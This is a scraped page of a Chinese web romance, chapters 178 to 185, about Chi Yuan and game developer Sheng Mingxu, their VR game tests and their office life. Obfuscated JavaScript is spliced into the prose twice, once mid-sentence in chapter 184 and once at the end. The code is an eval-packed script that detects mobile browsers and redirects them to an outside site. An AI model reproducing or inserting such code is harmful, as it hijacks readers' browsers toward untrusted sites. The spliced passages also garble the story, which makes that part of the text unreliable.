我关不掉游戏。池鸢把手机塞过来,锁屏键已经变成跳动的齿轮图标,退出按钮变成了吞噬现实的黑洞,第三次尝试时,我房间的镜子开始浮现其他玩家的残影。她的声音戛然而止,因为盛明栩突然猛地拽着她后退——方才他们站立的地方,地砖正以游戏加载进度条的形式龟裂,青灰色的数据洪流顺着缝隙涌出。 客厅电视突然自动开启,满屏都是扭曲的游戏界面。 盛明栩的游戏机从架子上飞起,悬浮在空中疯狂旋转,光盘弹出的瞬间化作锋利的金属飞镖。 池鸢抄起沙发靠垫抵挡,布料撕裂的刹那,两人同时听见游戏音效与现实破碎声完美重合。 窗外的暮色开始呈现游戏渲染的滤镜色调,远处楼宇间隐约浮现出登录界面的星图轮廓。 第178章 戛 盛明栩的目光紧锁在池鸢泛红的额头上,晶莹的汗珠正顺着她苍白的脸颊滑落,在下巴处凝成摇摇欲坠的水珠。空调出风口的冷风掠过,却丝毫没能驱散她身上蒸腾的惊惶气息。 他抬手取下墙上的亚麻毛巾,递过去时触到池鸢冰凉的指尖。 游戏界面还在屏幕上闪烁着未消散的猩红光影——那是个连内部测试版都尚未完全调试的恐怖游戏,此刻满屏的错误代码正在角落里诡异地跳动。 啊,测试阶段你就让我玩,居心何在?池鸢攥着毛巾用力擦拭冷汗,连后颈的碎发都被浸透。 她原本是想这里距离公司近,没想到被临时抓来当活体测试员。游戏里突然跳出的血肉怪物、扭曲变形的NPC面孔,此刻还在她视网膜上残留着残影。 盛明栩垂眸滑动平板,快速关闭后台程序。他的喉结动了动:嗯,给你赔偿。金属边框眼镜在顶灯的照射下闪过冷光,却掩不住他眼底的歉疚。 池鸢挑了挑眉,将沾湿的毛巾甩在沙发扶手上。她倒要看看这位铁公鸡能拿出什么诚意:好啊。 请你吃外卖吧。盛明栩推了推眼镜,耳尖却泛起可疑的红晕,你上次说想吃那家新开的日料店,我记得刺身拼盘有...... 池鸢闻言,原本还带着几分戏谑的神色瞬间凝固,嘴角抽搐了两下:“盛明栩,你认真的?我差点被你那破游戏吓得魂飞魄散,你就拿一顿外卖打发我?”她抱起双臂,身体向后重重靠在沙发上,气鼓鼓的模样像只炸了毛的猫。 盛明栩指尖在平板上停顿了一瞬,抬眼望向池鸢时,镜片后的目光难得带了丝慌乱:“那家店很难预约的,我......我托了关系才拿到号。”他试图解释,声音却越来越小,在池鸢毫不留情的注视下,最终化作一声低叹,“那你想要什么?” 池鸢转了转眼珠,狡黠的光芒在眼底闪过。她突然倾身向前,两人的距离瞬间拉近,盛明栩甚至能看清她睫毛上还未干透的细小水珠:“我要你......” 她故意拉长尾音,看着盛明栩不自觉屏住呼吸的模样,心里暗笑,“把下个月工作室的甜品份额都让给我,还有,以后所有恐怖游戏测试都不许叫我!” 盛明栩愣了愣,随即轻笑出声,紧绷的肩膀也放松下来:“就这个?”他伸手推了推眼镜,镜片后的目光温柔又无奈,“可以,但作为交换,你得帮我测试新开发的恋爱游戏——这次绝对不吓人。” “恋爱游戏?”池鸢挑眉,突然凑近,温热的呼吸扫过盛明栩耳际,“该不会是你照着自己的理想型做的?” 她直起身子,看着盛明栩耳尖肉眼可见地变红,这才心满意足地靠回沙发,“成交,但要是再坑我,下次可就不是一顿外卖能解决的事了。” 空调声混着电脑风扇的嗡鸣,在空气中织出一片静谧。盛明栩低头重新打开外卖软件,余光却忍不住瞥向一旁哼着小曲的池鸢。 他在搜索栏里输入“日料店”,手指悬在屏幕上顿了顿,又鬼使神差地加了份草莓大福。 外卖送达时,暮色已经漫进了房子的落地窗。池鸢拆开包装,被铺满冰面的三文鱼腩晃得眯起眼,却在看到角落里的草莓大福时突然噤声。盛明栩正对着电脑,敲击键盘的声音突然停了半拍,又若无其事地继续。 “喂,这个......”池鸢戳了戳粉白相间的糯米团子,余光瞥见对方耳尖又泛起红意。 “买刺身满减送的。”盛明栩头也不抬,屏幕蓝光映得他睫毛投下细碎的阴影。 池鸢抿着唇角偷笑,用竹签戳破软糯的外皮,草莓酱流淌出来的瞬间,她抬头。 “这就是你的理想型?”她晃到盛明栩面前,屏幕光照亮他骤然紧绷的下颌线。 键盘声戛然而止。盛明栩摘下眼镜擦拭,喉结上下滚动:“只是参考。”他的声音沉下来,带着连自己都没察觉的沙哑,“毕竟你最清楚,玩家讨厌什么样的设定。” 池鸢突然凑近,在他耳旁轻声道:“那我可要好好测试,比如......”她故意拖长尾音,看着对方泛红的耳垂,“这个男主角会不会在女主角被吓到的时候,只请她吃一顿外卖?” 盛明栩猛地转头,两人鼻尖几乎相触。呼吸缠绕的瞬间,窗外惊雷炸响,暴雨倾盆而下。池鸢后知后觉地缩了缩脖子,却被他抬手护住头顶:“去沙发那边,电脑要断电。” 黑暗吞没房间的刹那,池鸢抓住他的袖口。指尖传来的温度比雷声更令人心悸,她听见自己加速的心跳混着雨声,还有盛明栩极轻的一声叹息:“怕就靠过来,算...算另一种赔偿。” 第179章 温 池鸢指尖悬在门把上犹豫片刻,金属表面沁出的凉意顺着指节爬上来。她故意忽略身后男人若有似无的呼吸声,猛地旋开把手—— 潮湿的冷空气裹挟着电子元件特有的焦糊味扑面而来。 本该铺着木地板的室内竟裂开一道深渊,漆黑如墨的裂隙在声控感应灯下泛着幽蓝的光,仿佛某种巨兽张开的獠牙。她后退半步撞上门框,耳后传来压抑的低笑。 别害怕。男人修长的手指搭在她颤抖的肩头,温热掌心透过针织衫烫得她发疼,这只是VR幻境,地板承载能力能承受三吨重物。他故意往前踏出一步,皮鞋底与看不见的地面碰撞出清脆声响。 池鸢盯着他扬起的嘴角,那抹笑意像毒蛇吐信般危险。 她左脚试探性地往前挪动。 失重感来得猝不及防。她本能地抓住虚空,指甲却只抓到流动的光影。 视网膜上的像素残影不断重组,天花板上垂落的藤蔓化作数据流簌簌消散,恍惚间竟看见自己倒映在虚空中的身影,扭曲成陌生的机械轮廓。 不知坠落了多久,绵软的触感突然包裹住全身。 池鸢睁开眼,发现自己陷在蓬松的纳米海绵垫里。四周漂浮着淡紫色的全息指示灯,组成蜿蜒的箭头指向走廊深处。转角处传来衣料摩擦声,阴影里的纤细身影。 等等!池鸢爬起身追过去,镜面墙壁突然翻转重组。 每个门牌号都在闪烁变换,703变成902,1107裂成两半又重新拼合。她听见自己急促的喘息在回廊里形成诡异的共振。 盛明栩双手插兜,不急不慢地走过来,深黑色皮鞋锃亮如新,每一步都精准地踏在地面菱形拼花的中心,在寂静的空间里发出清脆声响,宛如命运的鼓点。 他修长的手指间,一枚硬币上下翻飞,在光影交错中划出一道道银亮的弧线,仿佛在丈量着空间的距离,又像是在推演着未知的命运。 硬币在空中划过最后一道优美的抛物线,盛明栩稳稳接住,抬眼便看到了池鸢。 他微微挑眉,嘴角勾起一抹若有若无的笑意,带着几分戏谑与笃定。 池鸢开口道:“你这里,藏着人?” 盛明栩踱步上前,皮鞋声愈发清晰,压迫感也随之而来。他停在池鸢面前,居高临下地看着她,身上淡淡的冷香混着电子设备特有的气息扑面而来。 “那是游戏中的NPC。”盛明栩漫不经心地瞥了眼那扇门,语气平淡得像是在谈论一件再寻常不过的小事,“但还是那句老话,别去。” 他顿了顿,目光扫过四周闪烁不定的全息指示灯,眉头微皱,“好了,这款游戏还不成熟。” 话语中带着不容置疑的警告意味,仿佛在暗示着门后的未知存在着巨大的危险。 池鸢紧抿嘴唇,心中满是疑惑与不甘。不成熟? 看着盛明栩那副胸有成竹却又讳莫如深的模样,她越发觉得这个游戏和眼前的男人都隐藏着太多秘密,而她,似乎已经深陷其中,难以自拔。 盛明栩垂眸望着她紧蹙的眉峰,指腹无意识摩挲过她腕间凸起的骨节。在池鸢还未反应过来时,冰凉的金属手环已扣上她的腕间,虚拟现实舱发出蜂鸣,蓝光将两人吞没。 当视网膜上的数据流消散,池鸢踉跄着扶住操作台,鼻腔里还残留着模拟环境的电子焦糊味。 盛明栩利落地摘下神经感应头盔,腕表在日光灯下折射出冷冽的光:要走了。他修长的手指划过平板屏幕,航班信息投影在舱壁上,今晚八点飞临城开会。 门在身后合拢的瞬间,她摸到口袋里多了个硬物——那枚在VR里见过的硬币,边缘还带着体温。 第180章 熄 池鸢拖着灌了铅似的双腿踉跄进卧室,反手锁门的瞬间,积攒整日的倦怠轰然压垮最后一道防线。 她机械地拧开淋浴喷头,蒸腾的水雾瞬间漫过镜面,将那张苍白憔悴的脸氤氲成模糊的虚影。 热水如瀑布般倾泻而下,滚烫的水流砸在她紧绷的肩背上,激起细密的刺痛。 池鸢颤抖着解开衬衫纽扣,任凭潮湿的布料滑落,冰凉的瓷砖贴着脚底,与皮肤上灼烧的温度形成诡异的双重奏。 水珠顺着锁骨凹陷处蜿蜒而下,在地面汇成暗河,冲刷着沾着咖啡渍的衣角——那是今早被同事撞翻的美式,此刻正随着水流扭曲出苦涩的波纹。 她仰起头,任由热水灌进喉咙,咸涩的液体混着水珠滑入胸腔。 指节死死抠住花洒支架,金属边缘在掌心勒出深红的印记,像极了老板摔在桌上那份被退回的方案,刺目的红批注仿佛还在眼前跳动。 蒸腾的雾气里,母亲电话里催促相亲的声音、地铁里此起彼伏的鸣笛声,还有深夜加班时窗外寂寥的月光,全都化作细密的水珠,沉甸甸地坠在发梢。 水流渐渐转凉,池鸢这才惊觉手指已经泡得发白。 她伸手关掉喷头,水珠坠地的滴答声在寂静中格外清晰,恍若某种劫后余生的回响。 裹着松软的浴巾跌坐在床沿,池鸢抓起手机时,指腹还残留着热水蒸腾的酥麻感。 电话刚拨通,徐丽雀跃的声音便裹挟着海浪声炸响在耳畔:“宝!我在巴厘岛的悬崖酒吧看日落呢!” 背景音里隐约传来调酒师摇晃酒杯的清脆声响,混合着徐丽肆无忌惮的笑声,在听筒里搅成一团欢腾的漩涡。 池鸢蜷进蓬松的羽绒被,望着天花板上晃动的吊灯光影,嘴角不自觉地扬起:“看把你美的,艳遇排到苏门答腊岛了?”她故意用调侃的语气掩盖嗓音里的沙哑,指尖无意识摩挲着枕套上细密的针脚。 “何止!”徐丽夸张的惊叹让池鸢想起她手舞足蹈的模样,“我跟你说,今天冲浪教练教我起身的时候……”听着老妈连珠炮似的分享,池鸢渐渐沉入绵软的床铺,那些堆积在心底的烦躁竟随着徐丽描述的椰林晚霞,慢慢融化成温热的蜜。海 风卷着热带水果的甜香仿佛穿透屏幕,将满室蒸腾的水汽都染成了度假的颜色。 时针不知何时划过十点,池鸢蜷在床头,指节无意识摩挲着床头的牛皮纸巾盒。 忽然,金属冷意从记忆深处浮上来——那天在盛明栩书房,那枚刻着古怪图腾的硬币,此刻正躺在她梳妆台抽屉最底层。 “先不聊了,我睡了明天上班!”匆匆挂断电话,池鸢掀开被子。 月光透过纱帘在地板流淌,映得她赤脚踩出的影子忽明忽暗。 盛明栩出差前那句“有问题随时找我”还在耳畔回响,男人说话时垂眸整理袖扣的模样,和那枚硬币冰凉的触感在脑海里反复重叠。 深夜的电梯井发出轻微嗡鸣,池鸢站在对门302室前,指尖悬在密码锁上方迟迟未动。 但此刻她却鬼使神差地想起盛明栩设密码时说的“纪念日”。 深吸一口气,她按下那组倒背如流的数字——0723,金属面板蓝光闪烁,门锁发出轻响的瞬间,某种隐秘的雀跃混着不安窜上心头。 玄关感应灯应声亮起,熟悉的雪松香裹挟着空调冷气扑面而来。 池鸢望着空旷的客厅,茶几上还摆着她上次蹭茶时用的青瓷杯,杯底褐色茶渍像枚小小的勋章。 她攥紧口袋里的硬币,朝着书房方向迈出步子,却没发现窗帘后,某个本该出差在外的身影,正将手机里的监控画面悄悄熄灭。 第181章 距 暮色像浸了墨的棉絮,缓缓压进休息室的玻璃窗。 池鸢垂眸望着自己微微发抖的指尖,方才硬币与桌面相撞的脆响还在耳畔回荡。 她深吸一口气,胸腔里翻涌的情绪几乎要冲破喉咙,指尖却稳稳地将另一枚硬币弹向阴影中的男人。 盛明栩修长的手指在空中划出优雅的弧线,硬币被稳稳截获。 落地窗外的霓虹透过百叶窗在他棱角分明的侧脸上投下明暗交错的光影,他喉结滚动着吐出七个字:回忆临时取消了。尾音像被揉皱的纸,带着某种难以名状的钝痛。 男人骨节分明的手指抵上鼻梁,指腹轻轻揉搓着眉骨。 这个细微的动作泄露了他刻意掩饰的疲惫,西装领口歪斜着,领带松垮地挂在脖颈间,与平日那个永远一丝不苟的盛明栩判若两人。 对不起。池鸢咬着下唇,声音轻得像飘在空气中的羽毛。 她望着男人泛青的下颌线,突然想起七年前他在图书馆昏黄灯光下看书的模样——那时他的眼神还没有这般锋利,也不会总带着令人窒息的压迫感。 走廊传来细碎的脚步声,盛明栩骤然挺直脊背,眸光瞬间冷冽如冰。 就在这时,角落里的老式座钟突然发出齿轮咬合的咔嗒声,惊醒了凝滞的空气。 居然连密码也猜到了。盛明栩轻笑出声,笑声里却带着三分自嘲。 他低头凝视着掌心的硬币,金属边缘在皮肤上压出暗红的痕迹,池鸢,你到底还有多少惊喜...话音未落,他的手机在寂静中突兀地响起,屏幕蓝光映亮他骤然紧绷的下颌。 盛明栩的手掌重重拍在池鸢耳畔的墙面上,石膏墙灰簌簌落在她发间。他周身萦绕着雪松混着硝烟的气息,将她整个人笼罩在阴影里。 我都已经道歉了。池鸢偏头避开他灼热的呼吸,后颈抵着粗糙的墙面泛起细微的刺痛。 她能清晰感受到男人剧烈起伏的胸膛,像是压抑着随时会爆发的火山。 你不是害怕那游戏吗?盛明栩忽然俯身,鼻尖几乎要擦过她泛红的脸颊。 池鸢被他箍住的腰传来阵阵发烫,喉结滚动着咽下紧张:确实很真实。她垂眸望着男人衬衫第二颗纽扣,那里别着一枚胸针,逼真到能闻到硝烟,听见子弹擦过耳边的嗡鸣,就像...话音戛然而止,她突然意识到自己说漏了嘴。 盛明栩瞳孔猛地收缩,扣住她后颈的手骤然收紧。走廊尽头的灯将两人交叠的影子投射在斑驳的墙面上,像是一幅油画。 他的呼吸裹着雪松与硝烟的气息,重重喷洒在池鸢泛红的耳尖。 指腹摩挲着她后颈的力道忽而松了松,盛明栩的唇瓣悬在那片滚烫的肌肤上方,像是在丈量彼此间最后一寸危险的距离。 瓷砖墙面沁出的凉意顺着脊椎往上爬,池鸢睫毛剧烈颤动,听见自己擂鼓般的心跳声震得耳膜生疼。 就在她以为男人会就此抽离时,柔软的触感突然覆了上来——带着某种近乎惩罚的力度,呼吸间溢出沙哑的呢喃:这次,换你别想逃。 池鸢的后背紧贴着粗糙的墙面,盛明栩温热的掌心正沿着她腰侧缓缓上移。 空气里浮动着令人窒息的暧昧,就在她的呼吸几乎要与他交织在一起时,刺耳的手机铃声突然在寂静中炸开。 盛明栩的动作猛地僵住,下颌线绷得几乎要折断。 他喉间溢出一声压抑的低咒,额头抵在池鸢肩窝,呼出的气息灼热又急促。 手机锲而不舍地响着,屏幕蓝光在黑暗中明明灭灭,映出他紧蹙的眉峰和眼底翻涌的暗潮。 “接吧。”池鸢偏过头,声音带着不易察觉的颤抖。 她伸手想推开男人,却被他扣住手腕按回墙上。 在铃声即将停止的瞬间,终于捞起震动的手机。屏幕亮起的刹那,池鸢瞥见他骤然冷下来的神色——来电显示上跳动的名字,像是一盆冷水浇在两人发烫的皮肤上。 第182章 叠 暮色透过百叶窗在办公桌上投下细长光影,盛明栩的手机在文件堆里震出嗡鸣。 屏幕上跳动的陌生号码让他眉心微蹙,接通后传来带着职业微笑的女声:盛先生您好,我是冯宛工作室的助理。冯老师想邀请您参加新舞台剧《镜中月》的首演... 话音未落,他已经扯松领带,钢笔尖在合同上洇出墨点:替我谢冯老师,电子票发邮箱吧。 挂断前助理特意补充的冯老师说上次的事多亏您帮忙,让他无意识摩挲着无名指。 上个月慈善晚宴上那场意外的红毯救场,如今成了营销号口中的豪门救美名场面,也让冯宛的微博热搜从#新晋青衣#变成了#盛氏集团神秘护花人#。 窗外霓虹渐次亮起时,他把电子票转发给池鸢,周末有场舞台剧,一起? 二十分钟后震动的手机让她几乎打翻冷掉的咖啡。池鸢回复的好字。 落地钟的报时声在寂静的客厅回荡,盛明栩指尖叩着扶手,目送池鸢踩着慌乱的步伐往玄关走去。 她垂落的发丝遮住泛红的耳尖,高跟鞋磕在大理石地面的声响比往常急促三分。他起身时西装下摆扫过茶几,听见自己用最平淡的语气说:路上小心。 防盗门闭合的瞬间,池鸢后背撞上冰凉的门板。 楼道感应灯突然亮起,惊得她打了个寒颤。电梯下行的机械嗡鸣里,盛明栩方才盯着她翻找剧本的眼神仍烙在后颈——像是透过她的皮囊,直看到了当年那个冒冒失失闯进他书房的女孩。 深夜的公寓里,窗帘缝隙漏进的月光在地板上流淌。 池鸢蜷缩在沙发角落,膝头摊开的剧本被攥出褶皱。想起盛明栩整理袖口时若有若无的雪松香,她咬住下唇,把发烫的脸颊埋进抱枕。明明只是普通的借住风波,可为什么心跳快得像是要冲破胸腔? 那些未说出口的斥责,倒比直白的怒骂更教人辗转难安。 晨光斜斜切进格子间,池鸢对着电脑屏幕发呆时,何璃的化妆镜突然探了过来。 镜面映出她眼下淡淡的青影,同事涂着玫红色甲油的手指轻轻戳她肩膀:姐妹,你脸色比我新买的遮瑕膏还惨白。 键盘敲击声在开放式办公区此起彼伏,池鸢把凉透的咖啡杯往旁边推了推。 玻璃幕墙外的CBD建筑群棱角锋利,像极了昨天盛明栩冷下来的眼神。她勉强扯出个笑:可能最近熬夜改方案。话音未落,茶水间突然爆发出的哄笑刺破空气——几个穿着露肩小香风的女同事正围着手机,屏幕上循环播放着年会时某个同事跳女团舞的片段,弹幕里飘满姐姐好辣的彩虹屁。 何璃对着镜子拧开口红的动作顿了顿,镜中人眼尾那颗泪痣随着她抿唇的动作微微颤动。她忽然凑近压低声音:你说...我去垫个鼻梁怎么样? 指尖无意识摩挲着下颌线,上次年会投票,要是我长得再亮眼点,策划部C位肯定轮不到林曼曼。窗外云层突然遮住阳光,映得镜中那张精心修饰的脸泛起青白,口红在苍白唇瓣上艳得刺目。 池鸢正要开口,办公区的广播突然响起部门例会通知。 何璃匆忙合上镜子,口红盖咔嗒扣合的声音里,她瞥见对方藏在桌下反复揉捏粉饼盒的手——棱角分明的金属边缘在掌心压出深红印记。 会议室投影仪亮起时,策划主管敲了敲白板上的新企划案:冯宛新剧宣传要做线上线下联动,重点是沉浸式体验活动。 林曼曼立刻举手,波浪卷发扫过香奈儿胸针:我建议找网红探店,再让粉丝模仿剧中经典造型打卡!主管点头的瞬间,何璃的指甲深深掐进会议记录本,洇湿的纸页皱成团。 散会后池鸢收拾笔记本,余光瞥见何璃独自留在座位上,对着电脑反复放大冯宛的剧照。 屏幕蓝光映在她脸上,鼠标滚轮不停滑动,从天鹅颈到直角肩,最后定格在那双含情目。其实我五官拆开都不差。何璃突然转头,睫毛膏晕染出细小的黑点,就差那么点组合的运气,对吧? 当晚池鸢加班到十点,电梯下行时又收到盛明栩的消息。 简单的我在车库四个字。 推开安全通道门的刹那,冷风卷着细雨扑面而来,而地下车库尽头,那辆黑色宾利的车灯穿透雨幕,像某种隐秘的召唤。 手机在包里震动,何璃发来张医美机构的价目表,重点项目用荧光笔标得刺眼。池鸢打字的手悬在半空,玻璃穹顶的雨水顺着纹路蜿蜒而下,恍惚间竟与昨夜倚在门上时急促的心跳声重叠。 第183章 模 暮色顺着车窗漫进来,在池鸢膝头流淌成暗金色的河。 盛明栩握着方向盘的手指骨节分明,车载香薰散出若有似无的雪松香,混着皮革座椅的气息将她裹住。他忽然偏过头,镜片后的眸光在仪表盘幽蓝的光晕里忽明忽暗:游戏修改好了,带你体验。 池鸢攥紧帆布包带,指甲几乎掐进掌心。后视镜里她的倒影正在发抖——昨夜那个戴着青铜面具的NPC突然在脑海中浮现,脖颈后被窥视的凉意如影随形。 算了,今天工作很多,回去要加班。她听见自己的声音像被砂纸磨过,刻意加重的尾音却泄露了慌乱。 盛明栩轻嗤一声,指腹摩挲着方向盘上的纹路。 此刻嘴角勾起的弧度带着几分玩味:我还以为你能撑到通关。他的目光掠过她耳尖泛白的皮肤,又漫不经心地转回路面,那就送你到家吧,其他的随便你。 引擎声突然变得刺耳,池鸢望着车窗外飞速倒退的梧桐树,忽然想起上周在公司楼下撞见他的场景。 本该出现在会议室的男人,却倚着这辆黑色SUV低头,衬衫第三颗纽扣松开着,露出半截锁骨。当时他说在等服务器维护,现在想来,倒像是某种精心编织的谎言。 你最近......她犹豫着开口,喉结滚动了两下,不去公司了吗? 红绿灯前,盛明栩摘下金丝眼镜擦拭镜片,露出那双带着血丝的眼睛。暮色将他的侧脸切割成锋利的轮廓,声音却懒洋洋的:反正一个人没事干解乏,总比...... 话音戛然而止,像是突然意识到失言,他又将眼镜戴上,镜片后的目光变得深不可测。 池鸢盯着他袖口露出的一截绷带,那上面似乎沾着暗红的痕迹。车载电台突然响起尖锐的电流声,在寂静的车厢里炸开,惊得她浑身一颤。 后视镜里,盛明栩的嘴角依然挂着笑,却像是蒙着层冰冷的玻璃,让她看不清背后的情绪。 车子拐进老城区狭窄的巷道,路灯在挡风玻璃上碎成一片片橙黄。池鸢数着窗外斑驳的墙皮,直到轮胎碾过减速带的震动让她回过神——盛明栩竟将车停在了公寓高楼下。 你怎么......她猛地转头,却撞进男人俯身过来的阴影里。盛明栩的指尖擦过她颈侧,在她本能后仰时,只是拈起卡在头枕上的耳机线。 上个月团建,你喝醉了说想养猫。他将耳机线绕成整齐的线圈,声音低得像在哄骗,我记得这附近有流浪猫救助站。 池鸢的后背紧贴着冰凉的车门,突然注意到副驾储物格里露出一角病历本。泛黄的纸页上精神科三个字刺痛了她的眼睛,而盛明栩已经坐直身子,重新发动了车子。 引擎轰鸣声中,他像是不经意地说:其实游戏里的NPC会学习玩家行为模式。 盛明栩的手机在这时震动起来,屏幕亮起的瞬间,池鸢瞥见锁屏照片竟是她上周刚删除的自拍。男人漫不经心地划开消息,转头时镜片后的眼神变得陌生。 手机在掌心疯狂震动,池鸢几乎是颤抖着按下接听键。徐丽爽朗的声音穿透电流:小鸢!我到你楼下了,买了很多东西,快下来搭把手! 盛明栩指尖轻叩方向盘的节奏骤然停住。 池鸢盯着他镜片下若隐若现的明眸,喉头发紧:我......我妈来接了,得先走。她扯出个比哭还难看的笑容,慌乱中拉开车门时,帆布包带缠住了盛明栩的手表。 金属表盘冰凉的触感让两人同时僵住。盛明栩垂眸望着纠缠的表带,嘴角勾起一抹意味深长的弧度。 池鸢几乎是用扯的抽出包带,踉跄着后退两步。夜风卷起她的发丝,远处,徐丽拎着沉甸甸的礼盒向她招手,银色高跟鞋在夜色里格外刺目。 路上小心。盛明栩摇下车窗,漆黑的瞳仁倒映着她仓皇的身影。 她跌跌撞撞跑向徐丽,后背早已被汗浸透。 第184章 半 梅雨季潮湿的空气裹着烦闷黏在皮肤上,徐丽将沉甸甸的购物袋甩在玄关,珍珠耳坠随着动作在鬓角划出细碎的光。 她跌坐在米白色贵妃椅里,指尖无意识摩挲着丝质裙摆,空调出风口的格栅将冷风切割成温柔的絮语,却吹不散眉间凝结的愁云。 右手拇指反复按压着突突跳动的太阳穴,水晶吊灯在天花板投下蛛网般的光影。过几天就能回去住了。 她对着空气轻声解释,声音像是浸了水的宣纸般绵软无力。 水晶吊灯的光晕在徐丽睫毛上碎成星子,她忽然想起那个替自己托起沉重购物袋的手掌。 男人骨节分明的手指裹着温热,连带着地下室冷气凝成的寒意都被驱散殆尽——盛明栩就住在这栋公寓的某层吗? 手机推送的娱乐新闻突然在脑海里炸开,那些标题刺得太阳穴又开始隐隐作痛。 财经版说他收购濒临破产的科技公司,娱乐头条却写着深夜密会神秘女子,狗仔镜头里他永远带着疏离的笑,像被雾气笼罩的山岚,捉摸不透。 落地窗映出徐丽微蹙的眉,窗外暮色渐浓,霓虹灯开始在雨幕里晕染成模糊的光斑。 指尖无意识地摩挲着贵妃椅的绒面,徐丽抬眸望向倚在门框边的池鸢。 少女将奶茶吸管咬得咯吱作响,发梢还沾着方才下楼取快递时落的雨珠:可不是嘛,上个月我刚搬来就撞见他。 哦?徐丽坐直身子,茶几上的罗盘随着动作轻晃,铜铃发出细碎声响。 池鸢干脆跳上沙发,手机屏幕亮起,狗仔偷拍的模糊照片里,盛明栩倚着黑色迈巴赫抽烟,银质袖扣在夜色中泛着冷光。他在这片区至少有三套房,少女滑动屏幕的指尖顿了顿,听说顶楼复式常年空着,也不知道金屋藏的什么娇。 徐丽望着窗外逐渐亮起的万家灯火,忽然想起盛明栩帮她按电梯时,袖口若有似无的雪松香。 水晶吊灯在玻璃幕墙投下扭曲的倒影,她轻笑出声:难怪财经版说他商业嗅觉敏锐,连不动产都要囤成堡垒。话音未落,手机在膝头震动,最新推送的标题刺目——《盛氏集团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580909|167655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深夜收购案曝光,神秘女伴身份成谜》。 落地钟敲响十一点的瞬间,池鸢打着哈欠伸懒腰,发尾的粉色挑染扫过徐丽垂落的珍珠项链。 空调外机的嗡鸣裹着夜色渗进窗缝,两人随意说了句晚安,便各自隐入不同的房间。 徐丽沾着香水味的真丝枕套还残留着白天的疲惫,头刚陷进蓬松的羽绒枕,意识便坠入浓稠的黑甜乡。 晨光刺破云层时,池鸢正对着镜子涂睫毛膏。 她踩着帆布鞋冲出房门,金属钥匙串在掌心叮当作响。 电梯门开启的刹那,冷冽的雪松香扑面而来——盛明栩倚着轿厢内壁,银灰色西装妥帖勾勒出宽肩窄腰,手机屏幕蓝光映得眉眼愈发冷峻。 早......池鸢的招呼卡在喉咙里。男人垂眸掠过她的草莓图案卫衣,喉结微动却未作声。 电梯下行的失重感里,只有腕表秒针的滴答声。直到金属门重新滑开,盛明栩的皮鞋踏碎晨光,黑色大衣下摆带起的风掀动她的衣角,却始终没留下半个字。 第185章 浪 早上,路灯一盏接一盏亮起,在地面洒下昏黄的光晕。 池鸢站在路边,远远瞧见盛明栩的黑色跑车疾驰而来,扬起一阵细碎的尘土。 她连忙抬手,正要出声打招呼,却见盛明栩面色冷峻,眉头紧锁,额前的碎发被风吹得凌乱,眼神中透着一丝焦虑与急切。 还未等她开口,引擎发出轰鸣,跑车如离弦之箭般冲了出去,车轮卷起的风带起几片落叶,在半空中打着旋儿,转瞬便消失在道路尽头,只留下一缕若有若无的尾气。 池鸢望着远去的车影,喃喃自语道:“看起来,有事啊……” 晨光透过写字楼的百叶窗,在工位上切割出明暗交错的条纹。 池鸢刚把咖啡杯放在键盘旁,隔间就传来何璃尖锐的抱怨声:那个玻尿酸医生根本没审美! 染着紫色挑染的脑袋探过隔板,指甲上的水钻在阳光下晃得人眼疼,你看这苹果肌,硬得像塞了两个硅胶球! 我早说过恢复期要耐心等。临桌的赛琳转动着钢笔,屏幕上的报表还停留在昨晚修改到一半的位置。 何璃对着手机前置摄像头挤眉弄眼,突然把屏幕怼到她面前:帮我看看,是不是右边脸更肿?这家机构说能免费补打,你觉得...... 至少等三个月再做决定。赛琳抽回被挡住的视线,余光瞥见茶水间方向,于娜抱着一摞彩页走来。 作为办公室资历最深的老员工,这位总是穿着职业套装的大姐脸上挂着标志性的温和笑容,手里的宣传单页印着碧海蓝天的热带风光。 公司争取到的福利!于娜将传单分发给每个人,纸张边角还带着油墨的温度,跨境考察,边旅游边工作,机票酒店......她顿了顿,推了推金丝眼镜,公司承担基础费用,其余部分要大家自理。 邻座的实习生小声嘀咕了句变相团建,被于娜意味深长的眼神压了下去。 池鸢指尖划过宣传单上的图案,想起盛明栩消失时那辆疾驰的跑车。 窗外忽然掠过一道银灰色影子,她猛地抬头,却只看见被风吹得簌簌作响的空调外机,在玻璃幕墙上投下斑驳的阴影。 正当众人对着旅游优惠券议论纷纷时,办公室的玻璃门突然被推开,行政总监踩着十厘米的高跟鞋走了进来,手里还拿着一叠文件,脸色严肃得可怕。 “大家先放下手里的事,开个紧急会议。”她的声音在安静的办公室里格外清晰,众人面面相觑,放下手中的东西,朝着会议室走去。 会议室内,投影仪亮起,屏幕上赫然是公司最近的财务报表,触目惊心的赤字让不少人倒吸一口冷气。行政总监敲了敲桌面,沉声道:“由于市场竞争加剧,公司近期业绩下滑严重,接下来的三个月,所有部门都要进行绩效考核,不达标的项目组将面临重组。这次的考察,与其说是福利,不如说是一次机会,在考察过程中,大家需要挖掘新的业务增长点。” 散会后,办公室的气氛变得压抑起来。何璃早已没了抱怨整容的心思,瘫在椅子上唉声叹气:“完了完了,本来还想着去旅游放松一下,现在倒好,成了苦差事。” 于娜倒是显得很镇定,收拾着桌面上的文件,说道:“有压力才有动力,说不定我们能在那边发现商机呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595070|167655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 